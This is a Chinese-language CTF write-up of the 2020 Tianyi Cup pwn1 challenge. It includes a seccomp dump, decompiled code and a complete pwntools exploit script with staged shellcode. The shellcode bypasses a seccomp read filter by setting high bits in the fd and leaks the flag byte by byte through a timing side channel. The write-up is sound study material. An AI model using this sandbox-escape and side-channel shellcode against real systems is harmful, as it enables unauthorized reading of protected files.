2020天翼杯部分Writeup

August 5, 2020 CTF-Writeup 访问: 45 次

pwn

pwn1

题目的基本信息如下所示

 radish ➜ 2007305f227da2c7c43  checksec chall 
[*] '/media/psf/Home/Desktop/\xe5\xa4\xa9\xe7\xbf\xbc\xe6\x9d\xaf/pwn1/2007305f227da2c7c43/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
 radish ➜ 2007305f227da2c7c43  seccomp-tools dump ./chall
Hello Stranger. What do you want in our safe-execution box?
123
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0012
 0006: 0x15 0x00 0x06 0x00000000  if (A != read) goto 0013
 0007: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0008: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0012
 0009: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0013
 0010: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0011: 0x35 0x00 0x01 0x00000004  if (A < 0x4) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 radish ➜ 2007305f227da2c7c43  

知识盲区主要是 不知道seccomp规则也是从上往下执行的

unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  v31 = __readfsqword(0x28u);
  sub_AE0();
  v30 = 0LL;
  v29 = 0LL;
  v28 = 0LL;
  buf = 0LL;
  v21 = puts("Hello Stranger. What do you want in our safe-execution box?");
  v3 = getpagesize();
  prot = 7;
  HIBYTE(offset) = 0;
  LODWORD(offset) = 0;
  dest = mmap(0x1000, v3, 7, 34, 0, 0LL);
  src = &buf;
  v17 = 1;
  v16 = read(0, &buf, 0x40uLL);
  v15 = prctl(38, 1LL, 0LL, 0LL);
  v14 = prctl(4, 0LL);
  v23 = seccomp_init(0LL);
  v13 = 0x7FFF0000;
  *&v25 = 0x500000000LL;
  *(&v25 + 1) = 4LL;
  v26 = 0LL;
  v7 = 0LL;
  v6 = v25;
  v12 = seccomp_rule_add(v23, 0x7FFF0000LL, 2LL, 0LL);
  v11 = seccomp_rule_add(v23, 0x7FFF0000LL, 0LL, 1LL);
  v10 = seccomp_load(v23);
  v4 = strcpy(dest, src);
  v22 = dest;
  v9 = dest;
  v8 = v4;
  (dest)(0xDEADBEEFLL, 0x1337LL);
  result = __readfsqword(0x28u);
  if ( result == v31 )
    result = 0LL;
  return result;
}

很明显,我们输入的字符串会有零字符截断且长度收到限制,存储在一个可执行的段上,然后程序流会执行到我们的输入上

我的思路是首先要突破长度和零字符的限制,利用异或来绕过零字符,fd的类型是int(4字节),我们可以构造出(0xf00000000+*)来绕过seccomp的限制,然后利用侧信道攻击来把flag猜测出来

from pwn import *
import time
# from LibcSearcher import *
context.log_level='debug'
context.binary = './chall'
debug = 1
file_name = './chall'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def debug():
    gdb.attach(r,"vmmap")
    # raw_input()


file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("Hello Stranger. What do you want in our safe-execution box?")


#77702f656d6f682f
#67616c662f6e
#read(0,0x1000,0x200)
shellcode= '''
    xor rax,rax;
    mov rbx,0x333333333333ffff;
    mov rdi,0x333333343333ffff;
    xor rdi,rbx;
    mov rsi,0x333333333332ffff;
    xor rsi,rbx;
    mov rdx,rsi;
    syscall;
    jmp rsi;
'''
payload = asm(shellcode)
# debug()
sd(payload.ljust(0x40,'\x11'))




payload = '''
    xor rax,rax;
    mov rbx,0x333333333333ffff;
    mov rdi,0x333333343333ffff;
    xor rdi,rbx;
    mov rsi,0x333333333332ffff;
    xor rsi,rbx;
    mov rdx,rsi;
    syscall;
    jmp rsi;
'''
# raw_input()
sleep(0.5)

sl(asm(payload))

shellcode = '''
    xor rax,rax;
    mov rdi,0xf00000000;
    mov rsi,0x10100;
    mov rdx,0x100;
    syscall;
    mov rsi,0x10100;
    jmp rsi;
    nop;
    nop;
    nop;
    nop;
    nop;
    nop;
    jmp rsi;
'''
# print(len(asm(shellcode)))
# raw_input()
sl(asm(shellcode))

'''

code addr:0x10100
flag str addr: 0x10200
flag addr : 0x10300
'''
shellcode = '''
    xor rax,rax;
    mov rdi,0xf00000000;
    mov rsi,0x10200;
    mov rdx,0x8;
    syscall;
    mov rdi,0x10200;
    mov rsi,0x0;
    mov rax,2;
    syscall;
    xor rax,rax;
    mov rdi,0xf00000003;
    mov rsi,0x10300;
    mov rdx,0x50;
    syscall;
    mov al,[0x10300];
    loop:
        cmp al,0x66;
    jz loop;
'''

# raw_input()
print len(asm(shellcode))
sd(asm(shellcode).ljust(0x100,"\x90"))
# raw_input()
sd("./flag\x00\x00")

# r.recv(timeout=3)
r.recv()
time1 = time.time()
r.recv(timeout=4)

time2 = time.time()
if time2-time1>3:
    print "yes"
# print payload
ri()
'''
Hello Stranger. What do you want in our safe-execution box?
111
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0012
 0006: 0x15 0x00 0x06 0x00000000  if (A != read) goto 0013
 0007: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0008: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0012
 0009: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0013
 0010: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0011: 0x35 0x00 0x01 0x00000004  if (A < 0x4) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL
'''
只写了猜测第一位的,猜测整个flag用改一下即可

pwn2

经过1天的审计,只获取到用的是bf语法,可以溢出,但是溢出的数据有限制,无进展 :(

添加新评论